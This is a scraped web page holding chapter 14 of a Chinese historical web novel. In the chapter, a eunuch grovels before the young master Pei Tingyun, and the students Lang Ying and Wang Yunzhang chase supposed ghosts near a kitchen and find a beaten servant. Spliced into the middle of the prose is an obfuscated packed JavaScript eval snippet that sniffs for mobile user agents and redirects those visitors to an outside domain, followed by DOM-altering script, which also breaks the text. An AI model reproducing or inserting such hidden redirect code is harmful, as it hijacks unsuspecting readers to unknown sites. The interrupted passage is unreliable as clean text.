默认冷灰
24号文字
方正启体

14. 玉跪人

作者:三下午锄二本书字数:K更新时间:
    甜瓜的清凉汁水在裴停云指节流连,他手腕一翻,身后人立刻躬腰上前,双手恭谨取过瓜皮。


    那人脑袋低垂,胳膊缩在胸前,团成一团道:“大公子,奴错了,偏信了那个狗儿小杂种,乱由他浑说,给那郎家竖子捏着话头,摆了一道。”


    裴停云转身,将福顺公公的绿色贴里当做手巾,擦干手中的汁水,戾气渐渐滋生:“陛下着司礼监选人入后湖,不是为了多个饭桶,想死的法子多的是,活腻了,你可以和我说。”


    福顺公公骇然跪地,连连磕头求救。


    裴停云抬脚,踏上福顺公公的肩膀,脚下发力,将佝偻的身体扳正:“还没死呢,怕什么?”


    福顺公公转惊为喜,抱着裴停云的腿:“大公子在,奴不怕。”


    下一瞬,福顺公公脸上又皱在一起,掌掴自己的脸皮,偷瞧裴停云脸色:“奴罪该万死,一心想为主子办事,给祖宗长脸,竟忘了后湖五日一过湖的律令提前入湖,着实该死、该死、该死!”


    “当真是为了陛下分忧、替义父长脸?”裴停云脚底用力一踹,抽回腿来,“我看你是急不可待来后湖显摆威风。”


    福顺公公委屈地磕头,情绪逐渐失控:“奴着实不敢,求大公子明鉴,指条生路。如今只盼大公子能指点一二,奴苟活两年做一条忠心的好狗!”


    裴停云弯腰扶起他,道:“你声音可以再大些,将旁人引来,听听你在说什么。”


    福顺公公抿嘴,牙齿紧紧咬着嘴唇,身抖如筛,立刻噤声。


    “眼下,是不是按着五日进湖的律令进来,有什么要紧?”裴停云云淡风轻道,“凡事都可将功补过。”


    “*&¥#*¥”福顺公公嘴巴紧闭,呜呜啊啊地发出含糊声响。


    裴停云依稀辨出“求大公子明示”之意,望天叹气:“附耳过来。”


    福顺公公忙歪着脖子,送上耳朵,低头咂摸,眼睛一亮,跪拜谢恩。


    *


    入了夜,膳房已从白日的喧嚣忙碌转为一片黑暗寂静。


    树影随风晃动,张牙舞爪的影子投地,映着不远处的湖水,仿若无数黑色细长手臂,自湖中偷偷攀爬袭来。


    郎瑛边走边冷不丁想着,这种场景,最适合偷偷尾随、扑倒在地、棒击后脑、麻袋套头、缚上重石、投入湖中。


    “啊——”


    一声惊吼自身后平地炸响!


    郎瑛还未回神,霎时,已被一双强有力的臂膀紧紧环住,重重扑倒在草丛深处,惊起流萤阵阵,散如流星。


    郎瑛后脑亦被重重一击,顿觉眼冒金星,天地旋转。


    “嘶……”身后人低低呼痛,接着又激动得仿若要哭,“热的……活人……多谢兄台,刚吓死我了……呜呜……”


    这声音……


    “琼林?”郎瑛不确定地说道。


    “嗯?兄台你是?”王蕴章略惊讶,忙不迭从身下人的背上滚下去,与郎瑛肩并肩,觑近瞧趴在草丛的兄台。


    黢黑的草丛中,受惊的流萤缓缓落下,渐渐安定,几点荧光映在郎瑛如白玉雕铸的面色上,莹润生彩,宛如细白瓷佛。


    王蕴章面对如此皎皎君子,惊惧褪去了一半,喜悦浮上心头,拍着郎瑛的肩膀:“吔!怀序兄!你怎么在这里!”


    肩头的伤口又遭痛击,郎瑛痛得吸气,着实不明白,今天怎么人人跟她的肩膀过不去:“不是你将我撞倒在地的吗?”


    “哦哦哦对哦。”王蕴章左一个“抱歉”,又一个“我错了”,连忙将郎瑛扶起。


    但是……郎瑛看着胳膊被王蕴章抱在怀里,丝毫没有要撒手的意思,反而将自己的身子紧紧靠在郎瑛身侧。


    “怀序兄,这后湖有点说法。”王蕴章脑袋朝着郎瑛越凑越近,恨不得两人共用一个腔子。


    郎瑛不断将脑袋后仰,双手扒拉王蕴章手臂未果,热得细汗浮在脑门。


    “怀序兄,这里有鬼!”


    听这话,郎瑛扒拉的动作一停:“何出此言。”


    王蕴章与郎瑛紧密贴在一处,对着她耳语:“我碰到了!”


    郎瑛狐疑看他。


    王蕴章眼珠四处乱瞟,咽口水,重重点头:“真的。”


    “后湖十年驳册一次,暴毙洲上的监生少说也有四个。五日开一次后湖,若倒霉,要挺尸五天后才能出湖。这怨气集聚此处,日积月累,必定发作。”王蕴章语气飘忽,声量越讲越低,“怀序兄,今日是什么日子?七月初五,离中元节就差十天!”


    郎瑛额头汗止,两人就这么僵立原地。


    “你遇到了什么?”郎瑛问道。


    “从号舍过来,一路黢黑,幸好月光引路。可方才拐过弯,低头见地上多了许多鬼影,细细长长的,朝我伸手!我心中怕极,虽说不怕鬼上门,可……可又听见鬼语,不停提到‘吃’字!”王蕴章几乎要哭出声来,“必定是盯上我,想要吃我采阳转生。”


    “你看清身后是什么了吗?”


    “哪里敢看,看一眼,不得魂飞魄散。”王蕴章死命抱着郎瑛不撒手。


    郎瑛皱眉:“未看清,如何就认定是鬼怪?”


    挣开王蕴章的禁锢,郎瑛轻拍王蕴章肩膀安抚,拔下他头顶发髻上的尖利银簪,转身直面沉沉夜色。


    王蕴章转而抱着郎瑛的腰腹,点点泪水流下:“怀序兄,听闻你未曾娶妻,若此番招了邪气,妨了后半生可怎办。可叹我不是女儿身,否则,以身相许,终身伺候你。”


    “住嘴——”郎瑛冷声轻喝,她也听到了,的确是有窸窸窣窣的私语,不止一个声音。


    四下无人,除了湖水漾漾、草树影幢幢,再无他物。


    郎瑛拔腿欲走,腹部被王蕴章紧紧勒住:“怀序兄,去不得啊!”


    郎瑛耐着性子,找了个由头:“我八字是魁罡入命,主掌杀伐,阴邪之物近不得身。”


    王蕴章对这种命格似有耳闻,命带魁罡之人性格刚烈、杀伐果断,多掌兵权,也命运孤克。


    咋说呢,命硬!


    既然能克人,那么克鬼也是轻而易举吧。


    怀序兄果然非同常人,幸好自己男儿身,王蕴章后悔刚才女儿身以身相许的胡话,若真与怀序兄一对,恐命不久矣。


    “哦。”王蕴章松开双臂,落了两三步的距离,猫着身子,捏着郎瑛的澜衫,亦步亦趋跟着。


    距离越来越近,草丛扑簇簇晃动,黑影密集。


    郎瑛右拳紧握银簪,蓄势待发,厉声喝道:“何方宵小!”


    “哇——”


    “啊——”


    左右草丛齐刷刷跃出来十余人,两拨人马似非一伙,竟被对方惊得齐齐一跳。


    跳的跳、倒的倒、趴的趴……四仰八叉个个捂着心口,面无人色,喘息不止。


    明白是活人作怪,王蕴章丢掉的半条魂重回躯壳,从郎瑛身后跳出来:“呔!尔等鬼鬼祟祟,实非君子行径,如实招来,否则至主事大人那处说理去。”


    人群中,一个虚弱的声音说:“你敢去?我们也敢!”


    王蕴章道:“我如何不敢。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546747|186738||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“晚食时辰已过,此地既非号舍,你亦无大人传召。为何来此?还不是为了避开我等,开小灶、吃独食!”


    听闻此莫须有污蔑,王蕴章叉腰怒道:“呸!胡说!入湖前,我有套日日擦拭的厨具,主事大人体恤在下,已和膳长招呼,允许在下膳食后,可来膳房擦拭厨具。竟被你等如此编排!”


    有人冷哼,酸道:“厨子不偷,五谷不收。厨具在手,吃什么还不是你自己说了算。”


    “你!”王蕴章污言秽语怼在嘴边,硬生生憋回去,还不如撞鬼,鬼才不会胡说八道。


    郎瑛公允发声:“每日菜蔬皆有定份,各位扪心自问是不是吃不饱?吃尚且不够,又如何偷藏份例。”


    “难说!保不准膳夫们私下克扣。”


    闻此,郎瑛愈发觉得强词夺理:“兄台,膳夫一律由国子监拨来,那些膳夫皆是犯罪之人,无日不是低眉顺眼、躲避拳脚,又如何敢动手脚?”


    “那兴许是膳长呢?”那人吃瘪,晃着脑袋,撇嘴,“真有意思,罪人之弟还有脸面教育我们,合该让你与膳夫一处吃喝才对。”


    “眼见为实,那就一道入内瞧瞧是否如你所说?”郎瑛目光一凛,“若不是,向王蕴章赔罪。”


    “走!”


    浩浩荡荡近二十人的监生们冲着膳房走去。


    王蕴章无声地看着郎瑛,眼睛亮晶晶,道:“怀序兄,我若是女子,必定此生非你不嫁!”


    看着又要环上来的胳膊,郎瑛默默推开。


    *


    推开膳房大门,内里伸手不见五指,有监生找了个火折子,点了盏油灯。


    如豆灯火渐亮,昏黄光晕缓缓漫开,映出灶台周遭一片光洁。


    锅灶空空如也,菜篮中唯余零星泥土,粮米翻找半天无所踪,糖罐与油罐皆高悬于房梁之上,竟连水缸中的水线也见底。


    众人一怔,心知闹了个误会,八成是早上那个浮夸子弟粟满楼满嘴胡诌。


    “各位,琼林兄是否徇私偷食,现已分明。刚才,你们声声污蔑,是否该给琼林兄一个说法?”郎瑛一言不发地拽着王蕴章的袖子,走在众人面前,“琼林来此是得了主事大人的准予,我在龙引洲也是受了大人的召见。那么,各位是为何离开号舍随意走动,竟从祖洲违禁跑至龙引洲?”


    众人支支吾吾,不知是谁率先低唔了声“得罪”,其余人纷纷应和,灰溜溜逃之大吉。


    膳房徒留二人,郎瑛、王蕴章缓缓吐气。


    王蕴章想起了来此正事,忙不迭在膳房找寻起自己的山西锅、芜湖刀和铲。


    郎瑛与王蕴章既同住一舍,便就近坐在宽凳上,候他细细擦拭完心爱锅具,再一同返回号舍。


    王蕴章在翻箱倒柜找着,郎瑛在静坐入定。


    忽的,一缕轻飘飘的低泣声响起,缥缈、纤弱,带着几分沙哑。油灯烛火猛地一跳,燃尽最后一点油料,倏然熄灭。


    经了方才那场闹鬼乌龙,二人此刻已无所畏惧。


    黑暗中,郎瑛渐渐适应,起身避开障碍,与王蕴章循着哭声前行。


    他们在柴房木门前驻足,缓缓推门,门内的柴房,窗户大开,月华如练,倾泻满室。


    一人穿着被汗水洇透成深绿色的青色圆领袍,沐着月光垂首跪坐荆棘上,细白的皮肤上青紫交加,纤瘦的胳膊捧着冒着热气的香炉,无助地哭泣、左右晃动,发丝杂乱堆在肩头。


    他缓缓抬头,红肿的嘴角血渍干涸,看了来人,尤恐失了体面,止了泪,谄媚笑了,说道:“大爷好。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)